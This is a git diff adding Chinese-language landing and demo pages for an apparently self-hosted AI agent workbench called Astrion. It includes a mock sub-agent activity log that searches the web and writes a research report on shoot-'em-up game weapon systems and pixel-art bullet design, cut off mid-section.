+ + + + + + diff --git a/website-design/exp/anim4-demo.html b/website-design/exp/anim4-demo.html new file mode 100644 index 00000000..b2c770a7 --- /dev/null +++ b/website-design/exp/anim4-demo.html @@ -0,0 +1,22 @@ + + + + + +版本控制动画 demo + + + + + + +
+

自动循环播放:赶工 → 闯祸 → 惊吓 → 时光机倒流 → 归来。

+
+
+ + + + + + diff --git a/website-design/exp/demo.html b/website-design/exp/demo.html new file mode 100644 index 00000000..ae56bf6b --- /dev/null +++ b/website-design/exp/demo.html @@ -0,0 +1,88 @@ + + + + + + Astrion + + + + + + + + + +
+ + + + + + + + diff --git a/website-design/exp/index.html b/website-design/exp/index.html new file mode 100644 index 00000000..375c578e --- /dev/null +++ b/website-design/exp/index.html @@ -0,0 +1,190 @@ + + + + + +Astrion — 住在你机器上的智能体工作台 + + + + + + + + + + + + + + +
+ +
+ +
+ + +
+
+

开源 · 自托管 · 本机优先

+
+

Astrion

+
+

住在你机器上的智能体工作台。开源、自托管,可以处理你的本地代码和工作,也可以部署在云端提供多人服务,体验一致。

+ +

+ Terminal (beta) + + Web + + Windows + + macOS + + Android +

+
+
+ + +
+
+

Demo

+

它工作时的样子

+

下面是真实运行的 Astrion 界面,接着一份静态演示数据。可以点击切换对话、展开工具记录、打开右侧快捷窗口查看子智能体。

+
+
+
+ +
+
+

演示环境只含静态数据;实际使用由你自己的模型驱动。

+
+ + +
+
+

Features

+

围绕「放心交给它做事」设计

+
+ +
+ +
+
+

01

+

计划 / 询问 / 执行

+

三种运行模式决定它什么时候动手。
计划模式只出方案,批准后才开始改;
询问模式先讨论清楚再开工;
执行模式直接做完再汇报。

+
+ +
+ +
+
+

02

+

沙箱与网络授权

+

命令默认在操作系统沙箱里执行,写文件、访问网络都要经过授权。
macOS 使用系统沙箱,Windows 通过 WSL2 获得完整隔离;
网络权限单独开关,与文件权限互不影响。

+
+ +
+ +
+
+

03

+

修改记录

+

每一次文件编辑都留下一条 diff:
改了哪个文件、加了几行、删了几行。
按任务逐条查看,也可以单独撤销其中任意一次修改。

+
+ +
+ +
+
+

04

+

版本控制

+

每条消息自动成为一个检查点。
发现方向不对时,回退到任意一条消息之前——
对话和文件一起还原,不用手工收拾残局。

+
+ +
+ +
+
+ + +
+
+

FAQ

+

常见问题

+
+
+ +
+ 运行 Astrion 需要什么环境? +

Python 3.9+ 和 Node.js 18+。克隆仓库后安装依赖、构建前端,一条命令启动,默认监听 8091 端口。macOS、Linux、Windows(WSL2)都可以运行。

+
+ +
+ 我的数据存在哪里? +

全部在你自己的机器上:对话记录、工作区文件、日志默认放在 ~/.astrion/astrion/ 下,可以通过环境变量整体搬迁。不经过任何第三方服务器。

+
+ +
+ 宿主机模式和 Docker 模式有什么区别? +

宿主机模式下 Astrion 直接操作你的本机文件,适合处理日常工作和本地代码;Docker 模式把任务放进容器执行,适合需要隔离或多人共用的部署。两种模式界面与能力一致,数据可以互通。

+
+ +
+ 支持哪些模型? +

任何 OpenAI 兼容接口都可以接入:官方 API、聚合网关、本地推理服务都行。主智能体和子智能体可以分别配置不同的模型。

+
+ +
+ 可以部署给多人使用吗? +

可以。部署到服务器后自带多用户体系,每人独立工作区,通过浏览器访问,也有 Android 客户端。同一套界面,本机和云端体验一致。

+
+ +
+ 它执行命令安全吗? +

有四层控制:权限模式决定哪些操作需要批准;命令默认在 OS 沙箱内运行;网络访问单独授权;所有文件修改留有记录可以随时回退。你可以从「每条命令都要批准」一路调到「完全放开」,粒度自己定。

+
+ +
+
+ +
+ + + + + + + + + + + + diff --git a/website-design/exp/mock/activity-sub_1_1787459389_fd8265.json b/website-design/exp/mock/activity-sub_1_1787459389_fd8265.json new file mode 100644 index 00000000..2a22486a --- /dev/null +++ b/website-design/exp/mock/activity-sub_1_1787459389_fd8265.json @@ -0,0 +1 @@ +{"success": true, "data": {"status": "completed", "entries": [{"type": "progress", "id": "call_8f63e3970a084bb0ba989596", "tool": "todo_create", "status": "running", "args": {"overview": "调研经典弹幕射击游戏武器系统并生成调研报告", "tasks": [{"title": "创建交付目录 deliverables_dir"}, {"title": "网络搜索东方Project武器系统资料"}, {"title": "网络搜索怒首领蜂/雷电武器系统资料"}, {"title": "网络搜索像素STG子弹视觉设计资料"}, {"title": "整理撰写 weapon_research.md 调研报告"}, {"title": "验证报告文件并提交 finish_task"}]}, "ts": 1787459392033}, {"type": "progress", "id": "call_8f63e3970a084bb0ba989596", "tool": "todo_create", "status": "completed", "args": {"overview": "调研经典弹幕射击游戏武器系统并生成调研报告", "tasks": [{"title": "创建交付目录 deliverables_dir"}, {"title": "网络搜索东方Project武器系统资料"}, {"title": "网络搜索怒首领蜂/雷电武器系统资料"}, {"title": "网络搜索像素STG子弹视觉设计资料"}, {"title": "整理撰写 weapon_research.md 调研报告"}, {"title": "验证报告文件并提交 finish_task"}]}, "ts": 1787459392035}, {"type": "progress", "id": "call_1133390ecf464fc48336410b", "tool": "run_command", "status": "running", "args": {"command": "mkdir -p /Users/demo/starraid/research/weapon_system && ls -la /Users/demo/starraid/research/weapon_system", "timeout": 30}, "ts": 1787459392038}, {"type": "progress", "id": "call_1133390ecf464fc48336410b", "tool": "run_command", "status": "completed", "args": {"command": "mkdir -p /Users/demo/starraid/research/weapon_system && ls -la /Users/demo/starraid/research/weapon_system", "timeout": 30}, "ts": 1787459392094}, {"type": "progress", "id": "call_3f3016d3cca24fc88abae947", "tool": "web_search", "status": "running", "args": {"query": "东方Project 武器系统 shot types 符卡 火力 Power 系统 详解", "max_results": 8}, "ts": 1787459394529}, {"type": "progress", "id": "call_3f3016d3cca24fc88abae947", "tool": "web_search", "status": "completed", "args": {"query": "东方Project 武器系统 shot types 符卡 火力 Power 系统 详解", "max_results": 8}, "ts": 1787459398155}, {"type": "progress", "id": "call_3c55f69e9e984d2496690be8", "tool": "web_search", "status": "running", "args": {"query": "DoDonPachi weapon system laser shot type hyper combo", "max_results": 8}, "ts": 1787459398157}, {"type": "progress", "id": "call_3c55f69e9e984d2496690be8", "tool": "web_search", "status": "completed", "args": {"query": "DoDonPachi weapon system laser shot type hyper combo", "max_results": 8}, "ts": 1787459403781}, {"type": "progress", "id": "call_47a2ab963ed84a99a356ca16", "tool": "web_search", "status": "running", "args": {"max_results": 8, "query": "Touhou shot types comparison Reimu Marisa spread homing focused shot"}, "ts": 1787459406580}, {"type": "progress", "id": "call_47a2ab963ed84a99a356ca16", "tool": "web_search", "status": "completed", "args": {"max_results": 8, "query": "Touhou shot types comparison Reimu Marisa spread homing focused shot"}, "ts": 1787459411895}, {"type": "progress", "id": "call_f030222fd9c34bc5bc84a990", "tool": "web_search", "status": "running", "args": {"max_results": 8, "query": "雷电 Raiden weapon system upgrade vulcan laser missile power-up"}, "ts": 1787459411898}, {"type": "progress", "id": "call_f030222fd9c34bc5bc84a990", "tool": "web_search", "status": "completed", "args": {"max_results": 8, "query": "雷电 Raiden weapon system upgrade vulcan laser missile power-up"}, "ts": 1787459417674}, {"type": "progress", "id": "call_f07eebd68da741a5b946598a", "tool": "web_search", "status": "running", "args": {"max_results": 8, "query": "pixel art shmup bullet design visibility readability red bullets danmaku color"}, "ts": 1787459420862}, {"type": "progress", "id": "call_f07eebd68da741a5b946598a", "tool": "web_search", "status": "completed", "args": {"max_results": 8, "query": "pixel art shmup bullet design visibility readability red bullets danmaku color"}, "ts": 1787459426631}, {"type": "progress", "id": "call_a89b9f3cf5d044538562d103", "tool": "web_search", "status": "running", "args": {"max_results": 8, "query": "R-Type wave cannon charge shot Gradius options 蓄力 环绕 子机"}, "ts": 1787459426634}, {"type": "progress", "id": "call_a89b9f3cf5d044538562d103", "tool": "web_search", "status": "completed", "args": {"max_results": 8, "query": "R-Type wave cannon charge shot Gradius options 蓄力 环绕 子机"}, "ts": 1787459431671}, {"type": "progress", "id": "call_e3ce5ef5790a44a6b263f9f9", "tool": "extract_webpage", "status": "running", "args": {"mode": "read", "url": "https://www.slynyrd.com/blog/2020/12/14/pixelblog-31-shmup-sprite-design"}, "ts": 1787459435238}, {"type": "progress", "id": "call_e3ce5ef5790a44a6b263f9f9", "tool": "extract_webpage", "status": "completed", "args": {"mode": "read", "url": "https://www.slynyrd.com/blog/2020/12/14/pixelblog-31-shmup-sprite-design"}, "ts": 1787459436934}, {"type": "progress", "id": "call_13b3e5a0496841c097517a5b", "tool": "extract_webpage", "status": "running", "args": {"mode": "read", "url": "https://shmups.wiki/library/Mountain_of_Faith"}, "ts": 1787459436938}, {"type": "progress", "id": "call_13b3e5a0496841c097517a5b", "tool": "extract_webpage", "status": "completed", "args": {"mode": "read", "url": "https://shmups.wiki/library/Mountain_of_Faith"}, "ts": 1787459438813}, {"type": "progress", "id": "call_e16891deaf834b7694d6134d", "tool": "extract_webpage", "status": "running", "args": {"mode": "read", "url": "https://jamessoftwareco.fandom.com/wiki/DoDonPachi_DaiOuJou"}, "ts": 1787459443144}, {"type": "progress", "id": "call_e16891deaf834b7694d6134d", "tool": "extract_webpage", "status": "completed", "args": {"mode": "read", "url": "https://jamessoftwareco.fandom.com/wiki/DoDonPachi_DaiOuJou"}, "ts": 1787459444853}, {"type": "progress", "id": "call_a1453688199b44029d79f15e", "tool": "extract_webpage", "status": "running", "args": {"mode": "read", "url": "https://thwiki.cc/%E6%B8%B8%E6%88%8F%E6%94%BB%E7%95%A5/STG%E6%9C%AF%E8%AF%AD"}, "ts": 1787459444857}, {"type": "progress", "id": "call_a1453688199b44029d79f15e", "tool": "extract_webpage", "status": "completed", "args": {"mode": "read", "url": "https://thwiki.cc/%E6%B8%B8%E6%88%8F%E6%94%BB%E7%95%A5/STG%E6%9C%AF%E8%AF%AD"}, "ts": 1787459447916}, {"type": "progress", "id": "call_090bf02f546040dfb2f812ca", "tool": "extract_webpage", "status": "running", "args": {"mode": "read", "url": "https://shmups.wiki/library/DoDonPachi"}, "ts": 1787459450730}, {"type": "progress", "id": "call_090bf02f546040dfb2f812ca", "tool": "extract_webpage", "status": "completed", "args": {"mode": "read", "url": "https://shmups.wiki/library/DoDonPachi"}, "ts": 1787459452732}, {"type": "progress", "id": "call_fd111badf61e4a24829ba69f", "tool": "web_search", "status": "running", "args": {"max_results": 8, "query": "DoDonPachi 怒首领蜂 武器 激光 散弹 强化 Power 系统 CAVE"}, "ts": 1787459452737}, {"type": "progress", "id": "call_fd111badf61e4a24829ba69f", "tool": "web_search", "status": "completed", "args": {"max_results": 8, "query": "DoDonPachi 怒首领蜂 武器 激光 散弹 强化 Power 系统 CAVE"}, "ts": 1787459457781}, {"type": "progress", "id": "call_26446649de2a4b1e959a659e", "tool": "extract_webpage", "status": "running", "args": {"mode": "read", "url": "https://shmups.wiki/library/DoDonPachi_DaiOuJou"}, "ts": 1787459463962}, {"type": "progress", "id": "call_26446649de2a4b1e959a659e", "tool": "extract_webpage", "status": "completed", "args": {"mode": "read", "url": "https://shmups.wiki/library/DoDonPachi_DaiOuJou"}, "ts": 1787459468140}, {"type": "progress", "id": "call_ec93bb6a5c7248948a008976", "tool": "web_search", "status": "running", "args": {"max_results": 8, "query": "东方妖妖梦 魔理沙 激光 灵梦 诱导 封魔针 自机 武器 视觉 效果"}, "ts": 1787459468145}, {"type": "progress", "id": "call_ec93bb6a5c7248948a008976", "tool": "web_search", "status": "completed", "args": {"max_results": 8, "query": "东方妖妖梦 魔理沙 激光 灵梦 诱导 封魔针 自机 武器 视觉 效果"}, "ts": 1787459474982}, {"type": "progress", "id": "call_cd1c461547064ba6b12005d5", "tool": "web_search", "status": "running", "args": {"max_results": 6, "query": "弹幕 子弹类型 命名 米弹 针弹 玉弹 蝴蝶弹 自机狙 东方 弹种"}, "ts": 1787459482321}, {"type": "progress", "id": "call_cd1c461547064ba6b12005d5", "tool": "web_search", "status": "completed", "args": {"max_results": 6, "query": "弹幕 子弹类型 命名 米弹 针弹 玉弹 蝴蝶弹 自机狙 东方 弹种"}, "ts": 1787459486914}, {"type": "progress", "id": "call_b93e090bd4874a0b8a0b400c", "tool": "web_search", "status": "running", "args": {"max_results": 6, "query": "Gradius power meter upgrade system speed missile double laser options 升级系统"}, "ts": 1787459486920}, {"type": "progress", "id": "call_b93e090bd4874a0b8a0b400c", "tool": "web_search", "status": "completed", "args": {"max_results": 6, "query": "Gradius power meter upgrade system speed missile double laser options 升级系统"}, "ts": 1787459492805}, {"type": "progress", "id": "call_4bb90578c66c48b29576e9e0", "tool": "todo_update_task", "status": "running", "args": {"completed": true, "task_indices": [2, 3, 4]}, "ts": 1787459506394}, {"type": "progress", "id": "call_4bb90578c66c48b29576e9e0", "tool": "todo_update_task", "status": "completed", "args": {"completed": true, "task_indices": [2, 3, 4]}, "ts": 1787459506394}, {"type": "progress", "id": "call_bea4fe7c607c42b7934c370d", "tool": "write_file", "status": "running", "args": {"file_path": "research/weapon_system/weapon_research.md", "content": "# 经典弹幕射击游戏(STG)武器系统调研报告\n\n> 调研主题:经典弹幕射击游戏(STG / Bullet Hell)的武器系统设计与像素风格表现\n> 调研日期:2026-08-23\n> 信息来源:网络公开资料(维基百科、Shmups Wiki、THBWiki/东方维基、slynyrd Pixelblog、各游戏官方/玩家社区资料),详见文末「参考资料」\n\n---\n\n## 目录\n\n1. [概述](#1-概述)\n2. [玩家武器类型分类](#2-玩家武器类型分类)\n3. [武器升级系统](#3-武器升级系统)\n4. [像素风格表现](#4-像素风格表现)\n5. [像素 STG 武器视觉设计建议(落地清单)](#5-像素-stg-武器视觉设计建议落地清单)\n6. [参考资料](#6-参考资料)\n\n---\n\n## 1. 概述\n\n弹幕射击游戏(Shoot 'em up / STG,日式弹幕习惯称「弹幕射击」或 Bullet Hell)的核心设计循环是:**在布满敌方子弹的屏幕中移动自机、同时用自机武器持续输出**。因此武器系统承担着三重职责:\n\n1. **输出手段**:决定清杂(popcorn)与打 BOSS 的效率;\n2. **玩法差异化**:不同武器/机体提供不同的操作手感与策略分支;\n3. **视觉语言**:武器是玩家在屏幕上\"属于自己\"的元素,必须与敌弹、背景清晰区分。\n\n本报告以三条经典主线为调研对象:\n\n- **东方Project**(ZUN / 上海爱丽丝幻乐团,PC 弹幕标杆,自机武器+符卡 BOMB 体系)\n- **怒首领蜂系列**(CAVE,街机弹幕始祖,Shot/Laser 双模式 + Hyper 系统)\n- **雷电系列**(Seibu Kaihatsu,经典街机纵版,多武器切换 + 8 级火力)\n- 辅以 **R-Type(蓄力/力球)**、**Gradius(升级条/子机)** 等横版经典作补充\n\n> 说明:调研发现,任务描述中提到的「东方Project 的幽幽子」并非自机散弹武器,而是《东方妖妖梦》的 BOSS(西行寺幽幽子)。她的招牌弹幕是**蝶弹(蝴蝶形状子弹)大面积散开**,属于\"散布型弹幕\"视觉范式,可作为散弹/散布弹幕的视觉参考;东方自机散弹的典型例子是灵梦 C(Youkai Buster)、魔理沙 A(Spread Star)、东风谷早苗等,本报告两部分都会覆盖。\n\n---\n\n## 2. 玩家武器类型分类\n\n### 2.1 散弹(Spread Shot)\n\n**定义**:向前方扇形/多方向发射大量小弹丸,覆盖范围宽、清杂效率高,但单发伤害分散,对单体(BOSS)总伤害通常低于集中火力。\n\n| 游戏 | 例子 | 机制与视觉 |\n|---|---|---|\n| 雷电系列 | **Vulcan(红色道具)** | 初始武器,升级后弹幕从 2 连装→3→4 连装、散布角逐渐加宽(最多 7 方向);视觉上是一排并排的小弹丸扇形散开 |\n| 怒首领蜂 | **Shot(点按 A 键)** | 标准\"spread\"散弹,覆盖面比激光宽;Shot Type 强化后散弹密度/威力翻倍;视觉为密集白色/浅色小弹丸 |\n| 东方 Project | **灵梦 C(Youkai Buster/妖怪破坏者)**、**魔理沙 A(Spread Star/散星)** | 道中清杂强、BOSS 输出低;散布的弹丸+子机(Option)向两侧展开 |\n| 东方(BOSS 视觉范本) | **西行寺幽幽子的蝶弹(死蝶「華胥の永眠」等)** | 以**蝴蝶形状子弹**大面积散开铺满屏幕,是\"散布型弹幕\"最经典的视觉形态之一 |\n\n**设计要点**:散弹的关键是\"扇面角度 + 弹丸数量 + 弹丸间距\"三个可调参数。升级时优先扩展扇面角度或增加弹丸密度,让玩家能直观看到\"火力变强了\"。\n\n---\n\n### 2.2 集中射击(Focus Shot)\n\n**定义**:把所有火力集中在自机正前方一小条区域,单发伤害高(DPS 高),适合贴脸(pointblanking/Shotgunning)打 BOSS,但因覆盖窄需要瞄准走位。\n\n| 游戏 | 例子 | 机制与视觉 |\n|---|---|---|\n| 东方 Project | **低速模式(按住 Shift)时的射击**:灵梦「博丽灵符/封魔针」、魔理沙「非指向性激光/高速射击」 | 高速移动时是散弹,按住 Shift 进入低速(目押)模式后,射击自动收拢为**前方集中的高伤害火力**;视觉上弹丸从\"散开\"变为\"一束\" |\n| 怒首领蜂 | **Laser 模式**(见 2.3) | 东方把\"集中\"做成独立模式,怒首领蜂则直接把集中形态做成持续光束 |\n| 风神录 灵梦 B | **Forward Focus Type(Sealing Needle/封印针)** | 正前方集中射击型,BOSS 战伤害高、道中需要编排走位 |\n\n**设计要点**:集中射击通常与\"低速/精确操控\"绑定,视觉上要和散弹形成**一收一放**的对比——弹丸收拢成束、必要时加一条细光束/光线提示\"伤害集中\"。\n\n---\n\n### 2.3 激光 / 光束武器(Laser)\n\n**定义**:持续输出的光束型武器。特点:判定穿透(可打穿一排敌人)、伤害集中、通常伴随机体减速或能量光环(Aura)。\n\n| 游戏 | 例子 | 机制与视觉 |\n|---|---|---|\n| 怒首领蜂 | **Laser(按住 A 键)** | 大型窄光束,最强武器(对 BOSS 首选);Laser Type 可穿透杂鱼、激活更快;激活时机身周围出现 **Aura(灵气光环)**,贴脸时激光+Aura 双重伤害;使用激光时自机减速便于精确躲避 |\n| 雷电系列 | **Laser(蓝色道具)/ Plasma Laser(紫色道具)** | 直线激光,升级增加光束数量与威力;Plasma 激光**可吸附高 HP 敌人并弯曲**(追击相邻目标) |\n| 东方 Project | **魔理沙(Illusion Laser/幻影激光)**、B 型穿透激光 | 穿透型光束;妖妖梦起有\"非指向性激光\"(按住时发射贯穿激光) |\n\n**设计要点**:\n- 光束是**连续**的,区别于散弹的**离散弹丸**——视觉上用粗、直、持续的光柱 + 起点处的光晕做区分;\n- 激光与\"机体周围光环\"绑定是怒首领蜂的标志性设计,光环既是伤害来源也是视觉提示(\"你现在是激光模式\");\n- 注意激光模式下机体的移动速度降低,这是手感上的重要反馈。\n\n---\n\n### 2.4 追踪弹 / 制导武器(Homing)\n\n**定义**:发射后自动追踪敌人的弹药。上手简单、道中省心,代价是单发伤害低、无法集中打同一目标。\n\n| 游戏 | 例子 | 机制与视觉 |\n|---|---|---|\n| 东方 Project | **灵梦 A(Homing Amulet/诱导灵符)** | 非集中模式为追踪弹,自动锁定敌人;集中模式切换为前方直射 |\n| 雷电系列 | **Homing Missile(H 道具)** | 子武器系统,追踪导弹自动飞向敌人 |\n| R-Type | **Homing Missile** | 与主炮同时发射的追踪导弹 |\n\n**设计要点**:追踪弹必须**视觉上可读——弹丸带明显的\"转弯/锁定\"行为**(一开始直线、接近目标时转向),并常伴随尾迹(trail)以表现导弹感。像素下建议用 1-2 像素的小弹丸 + 短尾迹 + 发光的\"引导火\"。\n\n---\n\n### 2.5 近战 / 环绕武器(Orbit / Force / Option)\n\n**定义**:不(仅)发射弹丸,而是以\"挂在自机上的物体\"进行接触伤害、挡子弹,或跟随自机复制射击。\n\n| 游戏 | 例子 | 机制与视觉 |\n|---|---|---|\n| R-Type | **Force Pod(力量球)** | 可以发射出去、也可以收回挂在机头的球体;接触敌人造成伤害、可阻挡子弹 |\n| 怒首领蜂 | **Laser Aura** | 激光激活时机身周围的环状灵气,接触即伤害(贴脸加成) |\n| Gradius | **Option(子机)** | 发光的无敌球体尾随自机,复制自机射击,可堆 2-4 个 |\n| 东方 Project | **子机(Option)**:风神录后 P 道具主要增加子机数量 | 子机在自机两侧/前后跟随发射,火力升级的直观表现 |\n\n**设计要点**:环绕武器是最能体现\"火力等级\"的视觉载体——**子机数量=火力等级**是东方风神录之后的通用做法,玩家一眼可读。像素下子机用发光的小球/小符纸 + 拖尾即可。\n\n---\n\n### 2.6 蓄力射击(Charge Shot)\n\n**定义**:按住射击键充能,松开时释放一发大威力\"蓄力弹\"。蓄力时间越长威力越大,通常带穿透/范围效果。\n\n| 游戏 | 例子 | 机制与视觉 |\n|---|---|---|\n| R-Type | **Wave Cannon(波动炮)** | 按住 A 蓄力,蓄力等级(charge gauge)越高波动炮越大越强,可穿透弱敌;R-Type Final 3 有最多 2 段蓄力的强化波动炮 |\n| 怒首领蜂(近似) | **Hyper** | 蓄能量槽(Hyper Gauge),满后释放一次爆发性强化(更接近\"强化爆气\"而非单体蓄力弹,见 3.5) |\n\n**设计要点**:\n- 蓄力需要**清晰的充能指示**:R-Type 在机身上方显示蓄力槽/蓄力球,蓄力阶段机身周围能量球从小变大、颜色变亮;\n- 释放瞬间用**大尺寸弹体+全屏震动/闪光**强化\"这一发很重\"的感觉。\n\n---\n\n### 2.7 炸弹 / 清屏技能(Bomb / Spell Card / 灵击)\n\n**定义**:有限的强力保命技:清屏敌弹、短暂无敌、对全场敌人大伤害;部分还能吸道具。数量受限,是玩家\"资源管理\"的核心。\n\n| 游戏 | 例子 | 机制与视觉 |\n|---|---|---|\n| 东方 Project | **符卡 BOMB(自机符卡)** | 发动时显示角色立绘+符卡名(私人用视觉/命名系统),清屏敌弹为☆道具、全屏吸道具、短时间无敌;数量有限(通常 3 个起步) |\n| | **灵击(风神录/地灵殿)** | BOMB 变体:不限制次数,改为消耗 Power(见 3.4);风神录灵击为向前推出大型圆环,BOSS战额外全屏判定 |\n| 怒首领蜂 | **Spread Bomb(散弹炸弹)/ Laser Bomb(激光炸弹)** | 炸弹随当前武器状态变化:散弹状态=中规模清屏;激光状态=前方大型激光束(伤害更高);发动时无敌并消弹 |\n| 雷电系列 | **Bomb** | 消屏子弹+BOSS区域伤害;按炸弹键到爆炸有短暂延迟 |\n\n**设计要点**:\n- 炸弹的**视觉语言 = 全屏级特效**:闪光、扩散圆环、敌弹化为道具/星星——让\"屏幕瞬间被清理\"的结果可视化;\n- 东方把炸弹做成\"符卡\"(有名字有立绘)是世界观与玩法结合的最佳范例,值得像素游戏借鉴(起一个帅气的招式名);\n- 炸弹与武器状态联动(怒首领蜂散弹/激光两种炸弹)可以增加决策深度。\n\n---\n\n## 3. 武器升级系统\n\n### 3.1 道具拾取升级(P 道具 / Power-Up)\n\n几乎所有经典 STG 都用\"拾取掉落道具→火力升级\"的模式,区别在道具形态与上限设计:\n\n| 游戏 | 道具 | 升级机制 |\n|---|---|---|\n| 东方 Project | **红色 P 道具** | 小 P +1(红妖永)、+0.05(风神录)、+0.01(星莲船后);大 P +8 / +1.00。满 Power(Full Power Mode)后 P 道具自动转为其他道具(分数/信仰等) |\n| 怒首领蜂 | **P(Power Up)** | 4 个 P 达到满级;死亡后主力武器降 1 级、另一武器归 1 级(二周目则双双降 1 级) |\n| 雷电系列 | **红(Vulcan)/蓝(Laser)/紫(Plasma)/H/M(导弹)** | 同类道具拾取才升级;主武器 8 级满(Vulcan 连装数+散布角递增、Laser 光束数递增);死亡后武器掉落还原 |\n\n**设计要点**:\n- **同类拾取才升级**(雷电)制造\"专注一系武器\"的策略取舍;\n- 掉道具设计(死亡时爆出若干 P 道具)让玩家可以\"捡回\"部分火力,是容错设计;\n- 满级后道具转化(东方)避免火力溢出浪费,是一种奖励机制。\n\n### 3.2 多级别火力变化\n\n- **雷电**:主武器 **8 级**。Vulcan 从 2 连装→3→4 连装、散布角逐步加大;Laser 从单束→多束、光束加粗;是\"逐级可读\"的经典范例。\n- **怒首领蜂**:**4 级(Level 0–4)**。每级激光每秒伤害递增(如 A-Shot 激光 128→136/132→140/136→144 per 2 frames),火力升级数值化。\n- **东方**:Power 分级(红妖永 0–128;风神录 0–5.00;星莲船后 1.00–4.00 下限),变化体现在本体子弹数量(早期)或子机数量/排列(风神录后)。\n\n**设计要点**:每个火力级别都要有**对应的视觉变化**(弹丸数量、散布角、光束宽度、子机数量),让玩家不需要看 HUD 也能感知当前火力等级。\n\n### 3.3 武器切换机制\n\n| 游戏 | 切换方式 | 说明 |\n|---|---|---|\n| 东方 Project | **高速/低速(Shift)** | 同一武器在两种移动速度下显示\"散弹/集中\"两种形态,一按即切换 |\n| 怒首领蜂 | **点按 A = Shot / 按住 A = Laser** | 一个键承载两种武器形态;另在选机界面选择 Shot Type(散弹强化)或 Laser Type(激光强化),是\"模式选择\"的鼻祖 |\n| 雷电 | **红/蓝/紫/绿道具** | 拾取道具即时切换主武器/导弹类型 |\n| Gradius | **Power Meter(升级条)** | 吃一个道具点亮升级条下一格,按确定键购买(Speed/Missile/Double/Laser/Option/护盾……),买完回卷重来——\"选择顺序\"本身就是策略 |\n| 怒首领蜂大往生(DOJ) | **Element Dolls(元素人偶)**:Shotia(强化散弹)/Leinyan(强化激光)/EXY(双强化) | 人偶决定强化方向+炸弹容量上限(3-6 / 2-4 / 1-2),强化与资源形成权衡 |\n\n**设计要点**:\n- 武器切换要么做成\"一键瞬切\"(东方 Shift、怒首领蜂按住),要么做成\"有成本的选择\"(雷电道具、Gradius 升级条);\n- 切武器的代价越小,玩家越倾向频繁换武器应敌(节奏快);代价越大,越需要路线规划(深思熟虑)。\n\n### 3.4 东方 Project 的 Power 系统\n\n- P 道具是唯一火力来源:早期(红/妖/永)为 **0–128** 区间,小 P +1 / 大 P +8;风神录改为 **0.00–5.00**(小 P +0.05 / 大 P +1.00);星莲船后为 **1.00–4.00** 下限。\n- 表现载体变化:永夜抄以前\"本体射出的子弹变多\";风神录以后改为\"增加射出的子机(Option)\"——**火力可视化**。\n- Power 还承担资源职能:风神录/地灵殿的**灵击消耗 1.00 Power**,使用后射击能力减弱,形成\"用资源换保命\"的抉择。\n- 满 Power 后 P 道具转化为分数/信仰道具,防止浪费。\n\n### 3.5 怒首领蜂的强化系统\n\n1. **双模式(Shot/Laser Type)**:初代 DDP 引入。Shot Type 强化散弹(更密、更宽、双倍火力)、激光则细且不可穿透;Laser Type 让激光穿透杂鱼、激活更快、光环保留,但散弹变弱。\n2. **Element Dolls(DOJ)**:见 3.3,强化方向与炸弹容量权衡。\n3. **Hyper 系统(DOJ 起)**:玩家通过连击、收集蜜蜂、贴脸输出积攒 **Hyper Gauge**,满后掉落 Hyper 道具(上限 5 个);激活时:\n - 全场敌弹消除 + 短暂无敌(80/120 帧);\n - 散弹与激光威力暴涨(射出的散弹可消敌弹、激光可挡 BOSS 大激光);\n - 激活期间敌人喷更多子弹、**游戏 RANK 隐藏难度提升**;\n - 计时器以机身周围**白色圆环**呈现,圆环消失=Hyper 结束。\n - 这是\"用强化换难度\"的经典设计——高回报高风险。\n\n**设计要点**:怒首领蜂证明\"武器强化\"可以和\"游戏难度自适应(Rank)\"挂钩,让强力火力本身成为平衡杠杆。\n\n---\n\n## 4. 像素风格表现\n\n### 4.1 子弹的像素美术设计(大小、形状、颜色)\n\n综合 slynyrd(Raymond Schlitter)的 STG 像素美术教程与弹幕社区经验,核心原则是**可见性(readability)第一**:\n\n- **颜色**:子弹应是屏幕上最鲜艳的对象,用高饱和亮色与背景拉开;弹幕游戏普遍选用**红/粉/紫系**作敌弹(不易与背景、自机弹冲突),偶用蓝/黄作功能性区分。\n- **大小**:大子弹更醒目但占屏更大易显得傻;小子弹容易淹没在特效里。混合多种尺寸:大体型通常暗示更高伤害。\n- **形状**:圆、椭圆、针、箭、刀、蝴蝶、米粒、苦无、符纸(东方命名体系:小玉/大玉/针弹/米弹/蝶弹/札弹/箭弹……)等独特形状增强辨识度与趣味。\n- **轮廓线(Outline)**:几乎必须。slynyrd 建议**亮色+暗色双重描边**,或统一用白色描边让子弹在任意背景下可读(敌机/自机用深色描边以区分层级)。\n- **闪烁**:两帧交替(闪白/闪亮)提升存在感与\"危险感\";但对比过强会让高速移动的子弹难追踪——需要在\"醒目\"与\"可追踪\"之间平衡。\n- **旋转/脉动**:星星、方形、椭圆可加旋转;任意形状可加轻微缩放脉动让子弹\"活着\"。\n\n### 4.2 射击特效(muzzle flash、尾迹)\n\n- **枪口闪光(Muzzle Flash)**:自机开火瞬间的短促亮斑,逐帧淡出;体积小但高频出现,应在设计初期预留清晰 sprite。\n- **尾迹(Trail)**:散弹弹药可加短尾迹表现速度感;追踪弹/导弹必须加尾迹(弯曲轨迹+火光)体现\"制导\"性质;激光可加**束起点光晕**与**目标命中火花**。\n- **爆炸(Explosion)**:slynyrd 的爆炸公式——圆形向导扩张成变薄圆环 → 转为有机火团 → 白热渐变为暖色再转灰烟 → 缓慢上升消散;热空气\"快速膨胀、渐凉减速\"的物理节奏是让爆炸可信的关键。\n- **弹道/拖影**:高速敌弹可加残影(ghosting),但残影不能遮挡弹间缝隙。\n\n### 4.3 不同武器类型的视觉区分度\n\n| 武器 | 视觉语言 | 举例 |\n|---|---|---|\n| 散弹 | 大量小弹丸**离散**、扇面、快速连发 | 雷电 Vulcan 并排弹丸;东方灵梦 C 大量小弹 |\n| 集中/激光 | **连续光束**:粗、直、持续 + 起点光晕 + 命中火花;伴随机身光环 | 怒首领蜂激光+灵气光环;魔理沙穿透激光 |\n| 追踪弹 | 弹丸带明显**转弯行为**+弯曲尾迹+发光引导火 | 灵梦 A 诱导灵符;雷电 Homing |\n| 蓄力 | **充能指示器**(机身能量球由小变大/变亮/变色)+ 释放时放大弹体+闪光 | R-Type Wave Cannon 蓄力槽 |\n| 炸弹 | **全屏级特效**:扩散圆环+闪光+敌弹变道具/星星 | 东方符卡 BOMB 立绘+清屏;怒首领蜂两种炸弹 |\n| 环绕武器 | 发光球体/子机挂在自机旁,随火力升级数量递增 | Gradius Option;东方子机 |\n\n### 4.4 屏幕内大量子弹的辨识度设计\n\n- 